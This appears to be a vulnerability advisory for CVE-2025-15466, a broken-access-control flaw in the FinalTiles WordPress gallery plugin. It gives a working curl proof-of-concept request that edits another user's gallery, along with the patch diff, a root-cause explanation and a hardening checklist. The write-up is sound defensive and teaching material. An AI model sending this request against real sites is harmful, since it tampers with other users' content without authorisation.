The Exploit
Attacker needs authenticated Contributor-level access or higher and a valid FinalTiles_gallery nonce from the plugin’s admin UI.
curl 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: wordpress_logged_in_XXXX=VALID_SESSION' \
--data 'action=FinalTiles_update_configuration&galleryId=42&config=%7B%22title%22%3A%22pwned%22%7D&FinalTiles_gallery=VALID_NONCE'
This request submits galleryId=42 and a new gallery config while bypassing ownership checks. The server returns 200 OK, and the targeted gallery configuration is updated even if gallery 42 belongs to another user.
What the Patch Did
Before:
if ( check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' ) ) {
$id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
$config = ( isset( $_POST['config'] ) ? wp_unslash( $_POST['config'] ) : '' );
// ... process config
}
exit;
After:
check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
$id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
if ( !$this->FinalTilesdb->canUserEdit( $id ) ) {
wp_die( 'Forbidden', 403 );
}
$config = ( isset( $_POST['config'] ) ? wp_unslash( $_POST['config'] ) : '' );
// ... process config
The patch added an explicit authorization check using the plugin’s canUserEdit() method after the nonce check. For other AJAX actions such as image delete and visibility toggles, the patch also added current_user_can( 'edit_posts' ) or similar capability checks before processing the request.
Root Cause
This is broken access control, CWE-639: the AJAX handlers trusted check_admin_referer() alone and treated galleryId / id as sufficient authority. An attacker-controlled POST to admin-ajax.php could supply any gallery ID or image ID, and the plugin would perform the update or delete because the only gate was the nonce. The data flows from user-controlled $_POST['galleryId'], $_POST['config'], or $_POST['id'] into the gallery-edit sink without verifying that the current user is allowed to modify that specific object.
Why It Works
The single load-bearing line is the new if ( ! $this->FinalTilesdb->canUserEdit( $id ) ) { wp_die( 'Forbidden', 403 ); }. Without that check, a valid nonce and authenticated session are enough to make the request succeed. check_admin_referer() was already present in the vulnerable code, so the new authorization gate is the actual fix. The other added checks, like current_user_can( 'edit_posts' ), are there to ensure the attacker has the minimum WordPress capability for those endpoints, but the object-level ownership check is what prevents editing another user’s gallery.
Hardening Checklist
- Use
check_admin_referer()orcheck_ajax_referer()on all AJAX handlers to protect against CSRF. - Enforce role/capability checks with
current_user_can()before processing privileged actions. - Add object-level authorization for resources with methods like
canUserEdit( $id )rather than relying on nonces alone. - Normalize incoming identifiers with
absint()and reject invalid IDs before using them. - Return
wp_die( 'Forbidden', 403 )immediately when authorization fails, instead of silently continuing.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-15466